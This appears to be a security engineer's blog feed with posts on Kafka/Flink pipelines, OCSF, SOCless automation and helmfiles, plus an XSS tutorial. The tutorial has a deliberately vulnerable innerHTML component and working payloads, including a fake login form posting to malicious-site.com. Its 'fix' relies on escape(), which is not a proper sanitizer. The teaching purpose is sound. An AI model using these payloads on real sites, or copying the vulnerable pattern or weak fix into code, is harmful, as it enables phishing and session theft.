![\"The](\"https://eliasa.link/assets/images/the_log_must_flow-bb2af7307ea31ab29961d1dc272ec019.jpeg\")
Building a security data pipeline with Kafka and Apache Flink
\nMy LinkedIn cover photo says \"the log must flow\". It's a reference to Dune, where spice must flow because it powers the Empire's economy: transportation, computation, everything runs on it. Stop the flow and the system stalls.
\nSecurity logs work the same way for security operations. They power detection, investigation, and response. Stop the flow and those stop too.
\nThat's where the title comes from. What this post is actually about is what \"flow\" should mean for logs in practice.
\n
Logs are generated continuously, consumed by multiple systems, enriched with additional context, transformed into different schemas (or the OCSF schema — see Why OCSF is awesome), and eventually used to make security decisions.
\nYet many security architectures still treat logs primarily as something to store and query.
\nA log arrives.
\nIt gets indexed.
\nLater, someone needs additional context, so they query the stored data, export the results, enrich them, and sometimes write the result somewhere else.
\nThat works.
\nUntil the amount of data makes repeated processing expensive, slow, or unnecessarily complicated.
\nMy argument is simple:
\nIf a transformation can be performed while the event is flowing through the system, it is often better to do it there than repeatedly after the event has already been stored.
\nKafka gives us the event stream.
\nFlink gives us the processing layer.
\nThe downstream analytics system receives the resulting security data.
\nWhat happens between those stages matters.
\nOver 100,000 organizations run Kafka, including 80%+ of the Fortune 100. Alibaba processes around 40 billion events/day through Flink; Netflix, Uber, and ING run it too.
Consider a fairly ordinary network event:
\n{
\"timestamp\": \"2026-09-06T10:15:42Z\",
\"src_ip\": \"203.0.113.42\",
\"dst_ip\": \"10.10.20.15\",
\"dst_port\": 443,
\"action\": \"allowed\"
}
There is useful information here, but there is also information missing.
\nFor example:
\nSome of this information can be added before the event reaches the downstream analytics system. Some can be added later. The architectural question is where and when that enrichment should happen.
\nOne possible architecture is:
\n\nThe problem becomes more obvious when the same enrichment is required by multiple searches. Suppose the same IP appears in thousands of events. If every investigation or scheduled detection independently performs the lookup, the same piece of contextual information gets calculated repeatedly. There is no fundamental reason for that when the enrichment is stable enough to attach to the event earlier in the pipeline.
\nThis is not unique to SIEMs. Modern analytical systems also provide mechanisms for transforming and enriching data closer to ingestion — Elasticsearch's ingest pipelines and enrich processors, or ClickHouse's materialized views, are two examples.
\nInstead of making the SIEM the center of every operation, we can introduce an intermediate event stream:
\n\nNow the event has a lifecycle. It is generated once. Kafka provides the event stream. Flink processes the stream. The downstream system receives the result. The downstream analytics system is no longer required to be the place where every transformation happens.
\nTwo properties matter here, and they're the reason this argument leans on Kafka and Flink rather than \"a queue\" and \"a processor\" in the abstract.
\nKafka separates producing an event from processing it, and it keeps events around. A topic is partitioned, so consumers can process partitions in parallel. The processing layer can scale independently of whatever is generating the events, subject to partition count and processing capacity. Kafka also retains events for a configurable period rather than deleting them on consumption. A processing application can therefore restart without losing its input, and old events can be replayed if the processing logic changes.
\nFlink adds state on top of that stream. Some transformations only need the current event: parse a timestamp, normalize a field. Others need memory. Counting authentication failures for an account within a time window, for example, requires the processor to remember previous events. Flink's keyed state provides that memory, while checkpointing allows state and stream position to recover after a failure.
\nThat combination — replayable input plus recoverable state — makes it reasonable to put stateful logic in the stream instead of doing it at query time.
\nProcessing can happen while the event is already moving through the system:
\n\nSuppose a firewall generates:
\n{
\"timestamp\": \"2026-09-06T10:15:42Z\",
\"src_ip\": \"203.0.113.42\",
\"dst_ip\": \"10.10.20.15\",
\"dst_port\": 443,
\"action\": \"allowed\"
}
It enters Kafka, and Flink consumes it and performs transformations that are useful to downstream consumers: normalize, enrich, correlate.
\nThe resulting event might look like:
\n{
\"timestamp\": \"2026-09-06T10:15:42Z\",
\"src_ip\": \"203.0.113.42\",
\"src_asn\": 64500,
\"src_country\": \"NL\",
\"dst_ip\": \"10.10.20.15\",
\"dst_asset\": \"web-01\",
\"dst_owner\": \"infra\",
\"dst_port\": 443,
\"action\": \"allowed\"
}
The downstream system now receives an event that already contains the context required by multiple consumers. Enrichment happens at a defined processing stage instead of being independently repeated by every consumer that needs the same context.
\nThe repeated-lookup problem above gets more concrete once you look at what a single enrichment actually costs at scale. Suppose the stream contains the same source IP over and over:
\n203.0.113.42
203.0.113.42
203.0.113.42
...
A naive implementation would perform an external lookup for every event. There is little value in that when the underlying data — ASN, organization, country — is stable enough to reuse.
\nThe lookup result needs to be stored somewhere so subsequent events can reuse it: Flink state, an external cache, or another reference-data mechanism, depending on requirements.
\n\nThe exact implementation depends on the enrichment source and its consistency requirements. For relatively static reference data, caching prevents repeated external requests. For data that changes frequently, the design gets more complicated because a cached enriched event can go stale. Not every enrichment belongs in a streaming pipeline — Elasticsearch's enrich processor, for example, is intended for reference data that doesn't change frequently, for the same reason.
\nWhat happens if your enrichment logic is wrong? What if the enrichment source is unavailable? What if tomorrow you decide that a field you discarded was actually important?
\nThis is why you shouldn't treat the pipeline as:
\n\nA better model is:
\n\nThe raw stream provides a recovery mechanism. If the processing logic changes, retained events can potentially be replayed through a new version of the processing pipeline, depending on the retention and replay strategy.
\nKafka's model supports reading retained events again rather than treating them as immediately deleted after consumption. Flink's fault-tolerance model also relies on replayable input streams together with checkpoints when recovering stateful applications.
\nRetention must be part of the design. If replay matters to you, your system needs enough retained data to make that replay possible.
\nMoving processing into a stream does not make expensive operations disappear.
\nImagine Kafka pushing 100,000 events/sec into Flink, which then has to call an external enrichment service that can only handle 5,000 requests/sec. That enrichment service is now your bottleneck — the streaming architecture has just made it explicit instead of hiding it behind a dozen independent queries.
\nYour processing layer can apply mechanisms such as caching, batching, asynchronous I/O, rate limiting, and controlled concurrency instead of letting every downstream consumer independently overload the same dependency. Those mechanisms have their own trade-offs. Caching introduces freshness considerations. Batching introduces latency. Asynchronous processing introduces concurrency and failure-handling concerns. Rate limiting reduces pressure on the dependency but can increase queue depth.
\nStreaming moves processing into a place where throughput, state, and failure behaviour can be explicitly managed. It doesn't make the underlying cost go away.
\nThere is a temptation with architectures like this to turn every problem into a Kafka topic and every transformation into a Flink job. That would be a mistake.
\nStreaming introduces its own operational complexity: partitioning decisions, state management, schema evolution, backpressure, checkpointing, failure recovery, external dependency failures, monitoring, deployment and upgrades. Reference data also needs careful treatment — an enrichment that changes every few seconds is a poor fit for a mechanism built around relatively static reference data, for the same reason discussed above.
\nThe question you should ask before adding a streaming component is: does processing this information as it flows provide a meaningful advantage over processing it later? If the answer is no, the component only adds complexity.
\nA SIEM is an important part of a security architecture. But it does not have to be the place where every security-data operation happens.
\nWhen event processing is separated from event storage, Kafka can provide the durable event stream and Flink can provide stateful processing. The downstream analytics system can then consume the processed events for investigation, hunting, detection, and analysis — where the log does not have to wait until someone queries it before becoming useful.
", "url": "https://eliasa.link/blog/the-log-must-flow/", "title": "The Log Must Flow", "summary": "Security data pipelines with Kafka and Flink.", "date_modified": "2026-09-06T00:00:00.000Z", "tags": [ "security", "automation", "data-engineering" ] }, { "id": "https://eliasa.link/blog/security-automation-is-more-than-saving-clicks/", "content_html": "When a security analyst investigates an unknown IP address or domain, one of the first steps is often to check it against a threat intelligence provider.
\nYou can automate that lookup with a button.
\nThe analyst clicks it, the IOC is sent to the provider, and the result appears in the interface.
\nThat's useful, but is this a good automation?
\nNot really.
\nYou automated the action, but the analyst still has to make the same decision:
\nIs this IOC worth investigating?
\nThat's where security automation can go further: instead of automating the action, automate the decision that follows it.
\nThreat intelligence gives you evidence about an IOC, but someone still has to decide what that evidence means.
\nA provider might return signals such as confidence in the intelligence, when the activity was observed, and information about the IOC's context.
\nThe same decision can be represented as a policy.
\nFor example, a workflow could evaluate:
\nThis is heavily inspired by RST Cloud's TI Scoring
The workflow can then assign a risk score and compare it against a threshold.
\nHigh-confidence, relevant IOCs can be sent to an analyst. Low-risk IOCs can be recorded or closed automatically.
\nThe scoring formula matters less than what it replaces: a decision the analyst used to make every time, now encoded once as policy.
\nThe policy should not blindly trust a single CTI provider.
\nExternal intelligence is one source of evidence. It is not the final answer.
\nA provider can have incomplete coverage, stale intelligence, or a different assessment of an IOC than your organization does.
\nYour workflow can combine external intelligence with other sources and your own internal context before making the decision.
\nThat makes the quality of the underlying data part of the automation problem.
\nIf the data going into the decision is incomplete or unreliable, the automation will make bad decisions consistently and at scale.
\nAutomated decisions depend on the data behind them.
\nBefore a decision can be made, security data may need to be collected, normalized, enriched, and correlated so that the policy has the context it needs.
\nThe better this data pipeline becomes, the more repeatable decisions you can move from the analyst into the system.
\nFor more on the data layer behind security automation, see Building a custom ETL pipeline for security data by Alexander Bolshakov.
\nSimple button automation still saves time and reduces friction.
\nBut the larger opportunity is removing work that requires the analyst to make the same judgment repeatedly.
\nInstead of spending the day checking IOCs and deciding which ones deserve attention, the analyst gets a smaller set of cases that crossed the policy threshold.
\nThe clicks disappear first.
\nThe real gain comes when the routine decisions disappear with them.
", "url": "https://eliasa.link/blog/security-automation-is-more-than-saving-clicks/", "title": "Security Automation Is More Than Saving Clicks", "summary": "Why effective security automation should eliminate repeatable decisions, not just repetitive manual actions.", "date_modified": "2026-08-23T00:00:00.000Z", "tags": [ "security", "automation", "data-engineering" ] }, { "id": "https://eliasa.link/blog/why-ocsf-is-awesome/", "content_html": "Security products have a common problem: they generate data about the same things, but they rarely describe those things in the same way.
\nTake authentication.
\nOkta, GCP, a VPN, AWS, and an endpoint agent can all tell you that a user tried to log in. But each product can structure that event differently.
\nFor you, that means every new source becomes another parser, another mapping, and another special case in detection logic.
\nOCSF — the Open Cybersecurity Schema Framework — gives you a common model for these events.
\nMy argument is simple:
\n\n\nOCSF is useful because it gives security data a common semantic contract between producers and consumers.
\n
![\"Why](\"https://eliasa.link/assets/images/ocsf-52127ea12b71da3148660a6294c61c0f.png\")
Suppose you want to detect this:
\n\n\nA user has several failed authentication attempts and then successfully authenticates from an unusual IP address.
\n
The detection logic is straightforward. The annoying part is getting the data into a form where the detection can actually work.
\nWithout normalization, you end up with something like:
\n\nThen the detection has to know about all of them. Add another identity provider and you potentially have to modify the detection.
\nThe identity provider should be responsible for producing its event. The ingestion layer should handle the mapping. The detection should care about authentication, not about which vendor produced the event.
\nOCSF gives you a common contract at that boundary:
\n\nAuthentication is an OCSF event class.
\nIn OCSF 1.9, the Authentication class has a class_uid of 3002 and belongs to the Identity & Access Management category. It defines fields such as user, src_endpoint, dst_endpoint, auth_protocol, auth_factors, is_mfa, is_remote, service, session, and status_detail.
Its activity_id identifies the activity represented by the event. For the Authentication class, 1 is Logon, 2 is Logoff, while other values represent activities such as Kerberos ticket requests and preauthentication.
A simplified successful login could look like this:
\n{
\"activity_id\": 1,
\"activity_name\": \"Logon\",
\"category_uid\": 3,
\"category_name\": \"Identity & Access Management\",
\"class_uid\": 3002,
\"class_name\": \"Authentication\",
\"status_id\": 1,
\"status\": \"Success\",
\"time\": 1757155200000,
\"user\": {
\"email_addr\": \"alice@example.com\"
},
\"src_endpoint\": {
\"ip\": \"203.0.113.42\"
},
\"is_mfa\": true,
\"metadata\": {
\"version\": \"1.9.0\",
\"product\": {
\"name\": \"Example IdP\",
\"vendor_name\": \"Example\"
}
}
}
The event now has standardized semantics for concepts the detection needs:
\nuser)src_endpoint, dst_endpoint)auth_protocol, auth_factors)is_mfa, is_remote)service, session)status_id, status, status_detail)OCSF also provides both numeric identifiers and human-readable names. For example:
\n\"activity_id\": 1,
\"activity_name\": \"Logon\"
The identifier gives consumers a consistent value, while the name makes the event easier to inspect.
\nEvery event class also inherits attributes common across OCSF — class_uid, category_uid, severity_id, metadata — on top of the fields specific to that class.
And that is a good thing.
\nNow a harder detection:
\n\n\nA user has five failed login attempts and then successfully logs in from an unusual IP address.
\n
Without normalization, the detection has to understand how every source represents the same concepts.
\nAn Okta event might have:
\n{
\"user\": \"alice@example.com\",
\"clientIp\": \"203.0.113.42\",
\"status\": \"FAILURE\"
}
Another source might use:
\n{
\"userPrincipalName\": \"alice@example.com\",
\"source_ip\": \"203.0.113.42\",
\"result\": {
\"code\": 1
}
}
The detection now has to contain source-specific logic:
\nif source == \"Okta\":
user = event[\"user\"]
ip = event[\"clientIp\"]
failed = event[\"status\"] == \"FAILURE\"
elif source == \"GCP\":
user = event[\"userPrincipalName\"]
ip = event[\"source_ip\"]
failed = event[\"result\"][\"code\"] != 0
Only after doing this can it implement the actual detection:
\nif failed:
failed_logins[user].append(event)
elif is_unusual_ip(user, ip) and len(failed_logins[user]) >= 5:
alert(user, ip)
The problem is that the detection is now responsible for two different things:
\nThe source mapper can convert both events into the same Authentication class. The detection can then work with the normalized fields:
\nuser = event[\"user\"][\"email_addr\"]
ip = event[\"src_endpoint\"][\"ip\"]
if event[\"status_id\"] == 2:
failed_logins[user].append(event)
elif event[\"status_id\"] == 1:
if len(failed_logins[user]) >= 5 and is_unusual_ip(user, ip):
alert(user, ip)
Now the detection only describes the behavior we care about:
\n\n\nFive failed logins followed by a successful login from an unusual IP.
\n
It does not need to know whether the original event came from Okta, GCP, a VPN, or another product.
\nThat is the useful boundary OCSF provides. Vendor-specific knowledge stays in the mapping layer, while the detection works with the security semantics of the event. Personally, this is why I like the OCSF model: it makes detections more predictable, maintainable, and straightforward.
\nYour company adds another identity provider.
\nWithout a common schema:
\n\nWith OCSF:
\n\nThe new work still exists. Someone has to understand the vendor's event format and map it correctly — once.
\nWithout OCSF, that vendor-specific knowledge would show up again in every detection, dashboard, and query that touches this data. With it, it shows up once, in the mapper.
\nOCSF is not just a schema sitting in a repository.
\nOCSF doesn't remove the work of understanding every vendor's format. Someone still has to read Okta's docs, write the mapper, and update it when a field gets renamed. What changes is where that work happens.
\nDo it once at the edge, and every detection, dashboard, and query downstream gets to assume a stable shape for \"a user logged in.\" Skip that step, and the same vendor-specific knowledge leaks into every rule you write, and every analyst has to relearn it.
\nThat's the whole argument: normalization is a cost you pay once at the ingestion boundary, or repeatedly in the middle of your platform. OCSF just gives you a common target to pay it against.
", "url": "https://eliasa.link/blog/why-ocsf-is-awesome/", "title": "Why OCSF is awesome", "summary": "Why OCSF is useful because it gives security data a common semantic contract between producers and consumers.", "date_modified": "2026-04-08T00:00:00.000Z", "tags": [ "ocsf", "security", "data-engineering" ] }, { "id": "https://eliasa.link/blog/when-your-git-repo-becomes-a-database/", "content_html": "Every security team has that Git repository.
\nIt started innocently enough. A few configuration files, some threat intelligence, maybe a list of indicators or assets.
\nThen someone adds a script to collect data automatically.\nAnother script consumes it.\nA pipeline starts depending on it.\nA security tool uses the repository as its source of truth.
\nAt some point, you realize something slightly strange:
\nYour Git repository has become a database.
\nThe commits are now your ingestion pipeline.\nAnd the pull requests are somehow part of your data management workflow.
\nTechnically functional.\nMorally questionable.
\n![\"The](\"https://eliasa.link/assets/images/etl_meme-773f858e8f5899a7646f483cdf6a3eb9.jpeg\")
Git is excellent at managing versions of files.
\nYou can see what changed, when it changed, and who changed it. You can review changes before merging them and roll back to a previous state.
\nThat makes Git useful for things such as:
\nThe problem starts when we use those properties to solve a different problem: storing and distributing frequently changing data.
\nImagine a security pipeline collecting thousands of indicators every hour.
\nInstead of putting those indicators into a database, the pipeline writes them to a JSON file and commits the file.
\nAnother system periodically pulls the repository and reads the JSON.
\nNow Git is storing the data, distributing the data, and acting as the communication mechanism between systems.
\nIt works.
\nBut the architecture is now built around the wrong abstraction.
\nGit is not inherently bad for storing data.
\nThere are legitimate cases where security data belongs in a repository.
\nFor example, a set of detection rules may benefit from version history and code review. A configuration file may need exactly the same properties.
\nThe problem is using Git as a substitute for infrastructure that already exists for another purpose.
\nConsider a simple data flow:
\n\nThe repository is now effectively acting as the interface between the collector and consumer.
\nGit was designed around versioning files, not continuously exchanging application data.
\nThat difference becomes important as the system grows.
\nUse a database.
\nIf the system needs to query, update, filter, or correlate structured data, a database is a better abstraction.
\nDepending on the requirements, that might be a relational database such as PostgreSQL, or a NoSQL database.
\nThe point is to separate data storage from source-code version control.
\nInstead of:
\n\nyou can have:
\n\nThe data can be queried directly without treating a commit as a database operation.
\nUse an API.
\nIf several systems need access to the same data, an API gives them a defined interface.
\nFor example:
\n\nConsumers do not need to know how the underlying data is stored.
\nThey only need to understand the API contract.
\nAn API also gives you a natural place to handle authentication, authorization, validation, filtering, and pagination when needed.
\nUse messaging.
\nIf the requirement is:
\n\n\n\"Tell another system that something changed.\"
\n
then a queue or pub/sub system is often a better fit than periodically checking a Git repository.
\nFor example:
\n\nThe event itself is the unit being communicated.
\nConsumers do not need to repeatedly ask whether a repository changed.
\nUse CI/CD.
\nSometimes a repository is being used as a database because the actual requirement is to distribute a new version of something.
\nIn that case, Git and CI/CD may be exactly the right tools.
\nFor example:
\n\nHere Git is doing what it is good at: versioning the desired state.
\nThe pipeline is responsible for turning that state into a deployed artifact or configuration.
\nThat is different from committing every newly collected piece of runtime data into the repository.
\nSecurity automation often starts with a small script.
\nYou need to get data from A to B, so you write something simple:
\n\nThere is nothing inherently wrong with starting this way.\nThe problem is when the workaround becomes infrastructure.\nSoon you need another consumer.\nThen you need to know when the data changed.\nThen someone needs historical data.\nThen another process starts polling the repository.\nThen you need to deal with merge conflicts, repository size, polling intervals, stale checkouts, or delayed updates.
\nNone of these necessarily make Git unusable.
\nThey are signals that the original problem may no longer be versioning files.
\nIt may now be moving and storing application data.
\nSecurity engineers do not need to become software engineers.
\nBut when we build automation, we should borrow some of the patterns that software engineers use to design systems.
\nThe question should not simply be:
\n\n\n\"Can I automate this?\"
\n
It should also be:
\n\n\n\"What kind of system am I actually building?\"
\n
If you are storing data, think about data storage.\nIf you are exposing data to other systems, think about APIs.\nIf you are propagating events, think about messaging.\nIf you are deploying changes, think about CI/CD.
\nAnd if Git is involved, ask whether version control is actually the requirement, or simply the easiest thing available.
\nThat distinction can prevent a small automation script from quietly becoming a very strange distributed system.
\nThere is nothing wrong with using Git in security automation.
\nThere is something questionable about making Git impersonate a database, message broker, API, and deployment system at the same time.
\nThe practical lesson is simple:
\nUse the tool that matches the problem.
\nSecurity engineers already build systems that collect, process, and distribute large amounts of data.
\nWe do not need to reinvent software engineering patterns every time we automate something.
\nSometimes the best improvement to a security automation is not a more complicated script.
\nIt is recognizing that the script has become a system — and designing it like one.
", "url": "https://eliasa.link/blog/when-your-git-repo-becomes-a-database/", "title": "When Your Git Repo Becomes a Database", "summary": "Why using Git as a database, message broker, and API creates problems, and which architectural patterns to use instead.", "date_modified": "2025-08-03T00:00:00.000Z", "tags": [ "security", "automation", "data-engineering", "git" ] }, { "id": "https://eliasa.link/blog/recap-2024/", "content_html": "2024 was a year of growth and a fair bit of improvisation. Sure, I didn’t check off everything on my to-do list, but I ended up achieving things I hadn’t planned for—things that genuinely made me happy.
\nOne of the biggest shifts? I moved to beautiful Spain 🇪🇸
\n✅ Landed a new job at Semrush.
\n✅ Earned the Splunk Search Expert Specialization on Coursera—super practical and worth it.
\n✅ Got the AWS Cloud Practitioner certification.
\n✅ Read some good books on coding and cybersecurity:
\n✅ Reduced my phone screen time to under 60 minutes a day.
\n✅ Travelled to Thailand 🇹🇭 and Portugal 🇵🇹
\n\"A dream written down with a date becomes a goal. A goal broken down into steps becomes a plan. A plan backed by action makes your dreams come true.\" - Greg S. Reid
Let's draw some plans for 2025 now
\nCourses I want to take:
\nRanks on HTB (rolled from 2024):
\nGet certified in:
\nRead:
\nDigital Wellbeing:
\nExercise:
\nRead:
\nDune trilogy, by Frank Herbert :
\nWrite:
\nTravel:
\nSlack is a place where people communicate, make decisions, and work on operational tasks. That makes it a natural interface for security workflows too.
\nBut there is an important distinction between sending security alerts to Slack and using Slack to perform security operations.
\nThe first one is just notification.
\nThe second is ChatOps.
\nAt inDrive, I build Slack-based security workflows around a simple idea: if a security alert requires context from a user, why should a security analyst be the one to investigate it first?
\nFor example, imagine a detection for a suspicious login.
\nThe traditional approach is straightforward:
\n\n\nSuspicious login → SOC → investigate → identify owner → contact owner → wait
\n
A SOCless approach asks whether the alert can instead be routed directly to the person or team that has the relevant context.
\n![\"Security](\"https://eliasa.link/img/bot_regular_icon_204591.svg\"){kind=icon}
We detected a login to your account from Limassol. Was this you?
If the user confirms the activity, the workflow may be able to close or downgrade the event without involving the security team, depending on the detection and its risk.
\nIf the user denies it, the event can be escalated with that additional context already attached.
\nThis is the foundation of SOCless built by Twilio Security Operations team.
\nSecurity operations traditionally rely heavily on centralized analysis.
\nA security tool detects something, the security team receives it, and an analyst determines what happened and whether action is required.
\nBut many alerts contain a question that the security team cannot answer from technical data alone:
\n\n\n\"Did you mean to do that?\"
\n
A security analyst can investigate the surrounding activity, but the person who performed the action may be able to answer that question immediately.
\nThis creates an opportunity to move part of the investigation to the person who has the context.
\nSlack makes this particularly practical because the interaction can happen where employees already work.
\nInstead of:
\n\nwe can have:
\n\nThe security team is still involved, but only when the event requires security expertise.
\nThe goal is to remove unnecessary centralized SOC triage by moving appropriate decisions to system owners, automating predictable responses, and having security engineers build and own the detection and response capabilities.
\nA large portion of security triage consists of establishing context:
\nThese questions are often better answered by the owner of the account, application, device, or resource.
\nSo instead of making the SOC responsible for answering every question, we can distribute some of that work.
\nThe SOC defines the detection, the policy and the response.
\nThe owner provides the context.
\nAutomation handles the predictable parts.
\nSlack is the interface connecting them.
\nThe pattern works for much more than suspicious logins.
\nA DLP system detects that an employee shared a sensitive document externally.
\nInstead of immediately creating an alert:
\nYou shared financial-results.xlsx with an external user. Did you intend to do this?
\"No\" could trigger removal of the external permission and escalate the event to security.
\nA user authorizes a new application to access their corporate account.
\nSlack can ask:
\nYou authorized ExampleApp to access your account. Did you authorize this?
If the answer is no, the workflow can revoke the authorization and notify security.
\nA new API key is created for a production service.
\nThe service owner receives:
\nA new API key was created for payments-api. Was this expected?
A confirmation closes the event. An unexpected response can trigger key revocation and an investigation.
\nFor security interactions to become part of an automated workflow, several things need to work well.
\nAutomating a noisy detection will only create a more efficient way of annoying people.
\nThe value of this approach isn't simply reducing the number of alerts reaching the SOC.
\nIt is about changing who handles security decisions and where that work happens.
\nSecurity teams don't need to own every step of every investigation. When the right context already exists with a user, system owner, or another team, the workflow can take the question directly to them.
\nThe security team defines the detection, the policy and the response. The owner provides the context. Automation handles the predictable parts.
\nSometimes the most effective security workflow is simply to ask the right person the right question at the right time and let the workflow take care of what happens next.
\nThat is the opportunity I see in SOCless: moving routine security operations away from centralized triage and closer to the people and systems that have the context to make the decision.
", "url": "https://eliasa.link/blog/socless-security-chatops/", "title": "SOCless: Security ChatOps", "summary": "How SlackOps can reduce unnecessary SOC triage by moving routine security decisions closer to the people who have the context.", "date_modified": "2024-05-07T00:00:00.000Z", "tags": [ "security", "soc", "slackops", "automation", "chatops" ] }, { "id": "https://eliasa.link/blog/helmfile-yaml/", "content_html": "Managing helmfiles in python can be tricky due to the presence of Go templates in them, which are not compatible with the standard YAML parsers. This guide demonstrates how to ignore the curly braces in helmfiles and edit them using the ruamel.yaml python library.
Helmfiles contain Go template syntax like {{ .Value.example }}. And the existing yaml parser cannot correctly interpret this syntax is it is not a YAML syntax.
Let's try dumping this line using the ruamel.yaml library:
- host: {{ .Values.domain }}
This syntax is being interpreted it as a key with a null value, resulting in:
- host: {{ .Values.domain: null}: null}
This makes the task of automating the construction of helmfiles difficult.\nI have chosen 3 approaches for dealing with this issue.
\nThe most easy way is to prerender the helmfile using helm before the processing.
Introduce placeholders in order to keep the YAML syntax valid.
\nUse ruamel.yaml library's support of jinja2 templates.
The simplest solution is to pre-render the helmfile before processing. This will replace the Go templates with actual values and make the YAML file valid for the parsers.
\nIf prerendeing is not a solution for you then follow the next strategy.
\nTemporarily replace the {{. Go.templates }} to make all the editing you need and then bring them back.
Here are the methods for the respective replacings:
\ndef escape_go_templates(content: str) -> str:
return re.sub(r\"\\s{{(.*?)}}\", r\" __GO_TEMPLATE__\\1__GO_TEMPLATE__\", content)
def unescape_go_templates(content: str) -> str:
return re.sub(r\"__GO_TEMPLATE__(.+?)__GO_TEMPLATE__\", r\"{{\\1}}\", content)
Once you have a valid YAML document, make the changes you want then revert the Go templates using the unescape_go_templates function.
This is an example of helmfile editing following this approach.
\ndef process_helmfile(helmfile_path: str) -> None:
with open(helmfile_path, \"r\") as helm_file:
helm_content = helm_file.read()
helmfile_escaped = escape_go_templates(helm_content)
yaml_documents = yaml.load(helmfile_escaped)
for doc in yaml_documents:
# Example modification:
if \"releases\" in doc:
doc[\"releases\"][0][\"name\"] = \"my-service\"
with open(helmfile_path, \"w\") as updated_helmfile:
updated_content = yaml.dump(yaml_documents)
final_content = unescape_go_templates(updated_content)
updated_helmfile.write(final_content)
The last way of editing helmfiles and the one that I prefer is to use ruamel.yaml and it's support of jinja2.
The {{. Go.templates }} used in helmfiles have a similar purpose and syntax with jinja2, which is a templating engine for Python. Both use the concept of placeholders {{ }}.
Install the ruamel.yaml['jinja2] library.\nConfigure ruamel.yaml instance so it ignores the jinja2.\nChange the default value of width parameter.
yaml = YAML(typ=\"jinja2\")
yaml.width = 4096
In case you want to prevent ruamel.yaml of adding single quotes to the Go placeholders '{{ }}' you can write a custom representer function for that.
Everything is an object in Python! So aren't functions as well? You can create a function and pass it as an argument to another function. An example of this is shown below. Read more.
def _represent_str(representer: SafeRepresenter, data: str | None) -> ScalarNode:
if data and data.startswith(\"{{\"):
return representer.represent_scalar(\"tag:yaml.org,2002:str\", data, style=\"-\")
return representer.represent_str(data)
This function,_represent_str, customizes how strings are represented in your YAML instance. It specifically addresses how to handle strings that start with {{.
When encountering such strings, the function employs a special YAML tag, tag:yaml.org,2002:str, to ensure these strings are output without additional quotation marks.
Add this function as an argument to your yaml representer and the default behavor of putting quotes to {{. Go.templates }} will be modified.
yaml.representer.add_representer(str, _represent_str)
Now you can edit your helmfile as a normal YAML document.\nHappy automation!
", "url": "https://eliasa.link/blog/helmfile-yaml/", "title": "Edit Helmfiles with Python", "summary": "How to edit helmfile with Python", "date_modified": "2023-12-15T00:00:00.000Z", "tags": [ "yaml", "helm", "python", "automation" ] }, { "id": "https://eliasa.link/blog/xss-explained/", "content_html": "Cross-Site Scripting (XSS) is one of the most prevalent web application vulnerabilities, affecting millions of websites worldwide. It allows attackers to inject malicious scripts into web pages, potentially compromising user data, stealing sensitive information, or redirecting users to phishing websites.
\nIn simple terms, XSS attacks occur when a web application allows scripts to be embedded within the application's code by a malicious actor. These scripts can then be executed when users visit the affected web page, leading to harmful consequences.
\nAn attacker sends a victim a link like http://example.com/search?q=<script>alert('XSS')</script>. When the victim clicks the link, the server reflects the input, and the script executes in the victim's browser, displaying an alert or stealing sensitive data.
An attacker posts a malicious script in a comment on a blog. When other users view the comment, the script executes, potentially stealing cookies or redirecting users to a malicious site.
An attacker manipulates the URL to include a script, like http://example.com/page#<script>alert('XSS')</script>. The client-side JavaScript reads the URL fragment and injects it into the page, causing the script to execute in the victim's browser.
Let's see how a simple XSS attack can be executed. We will use a benign script for demonstration purposes.
\nFirst, let's create a simple input field that could represent a user comment section on a website.
\nfunction LiveExample() {
const displayUserInput = () => {
const userInput = document.getElementById('userInput').value;
// Vulnerable line: Directly setting innerHTML without sanitization
document.getElementById('output').innerHTML = userInput;
};
return (
<div>
<input type=\"text\" id=\"userInput\" placeholder=\"Enter text or HTML\" />
<button onClick={displayUserInput}>Display</button>
<div id=\"output\"></div>
</div>
);
}
This code is completely vulnerable to cross-site scripting (XSS) attacks due to a lack of input validation.
Now, try typing the following into the input field:
\n<img src=\"invalid.jpg\" onerror=\"alert('XSS')\">
Congratulations, you just performed a Reflected XSS Attack.
\nWhen this script is executed, it attempts to load an image that does not exist (invalid.jpg). The failure to load the image triggers the onerror event, causing an alert box to appear. This behavior was not
When a website fails to sanitize user inputs, scripts like the one above are treated as legitimate HTML, executed by the browser.
\nThis seemingly harmless script demonstrates the potential consequences of XSS vulnerabilities. In a real-world attack, the alert command could be replaced with malicious code that steals cookies, redirects users to phishing sites, or injects malware.
Let's try to inject more scripts into our web form.
\nRedirection:
\n<img src=\"invalid.jpg\" onerror=\"window.location='https://www.google.com';\">
Instead of displaying an alert, this script executes window.location='https://www.google.com';, which redirects the user to Google's homepage.
Document manipulation:
\n<img src=\"invalid.jpg\" onerror=\"document.body.innerHTML='<h1>Your page has been compromised</h1>';\">
This script modifies the whole content of the HTML document displayed.
\nCookie Theft:
\n<img src=\"invalid.jpg\" onerror=\"alert('Cookies: ' + document.cookie);\">
This one demonstates the potential for session hijacking by displaying the document's cookies. Real attacks might send these cookies to the attacker's server
\nPhishing with Fake Forms:
\n<img src=\"invalid.jpg\" onerror=\"document.body.innerHTML='<form action=\\\"https://malicious-site.com\\\"><input type=\\\"text\\\" placeholder=\\\"Username\\\"><input type=\\\"password\\\" placeholder=\\\"Password\\\"><button type=\\\"submit\\\">Login</button></form>';\">
This script replaces the webpage content with a fake login form, indicating how phishing attacks can be staged through XSS.
\nThese examples merely illustrate the versatility of XSS attacks, as attackers can devise numerous other malicious scripts to exploit vulnerabilities and compromise user security.
\nAccording to the OWASP Top 10:2021, the category A03:2021-Injection, which includes Cross-site Scripting attacks, rank third among the most critical web application security risks. Consequently, prioritizing XSS prevention strategies in your applications is highly recommended.
Preventing XSS attacks requires a multi-layered approach that encompasses both server-side and client-side security measures. Here are some key strategies:
\nGetting back to the form we exploited previously, in order to eliminate the XSS vulnerability we need to add sanitization for the user input validation.
\nfunction LiveExample() {
const displayUserInput = () => {
const userInput = document.getElementById('userInput').value;
// Sanitize user input to prevent XSS attacks
const sanitizedUserInput = escape(userInput);
// Set the sanitized input to the output element
document.getElementById('output').innerHTML = sanitizedUserInput;
};
return (
<div>
<input type=\"text\" id=\"userInput\" placeholder=\"Enter text or HTML\" />
<button onClick={displayUserInput}>Display</button>
<div id=\"output\"></div>
</div>
);
}
Try copying this code to the previous code box and test if you can still inject the code with your script.
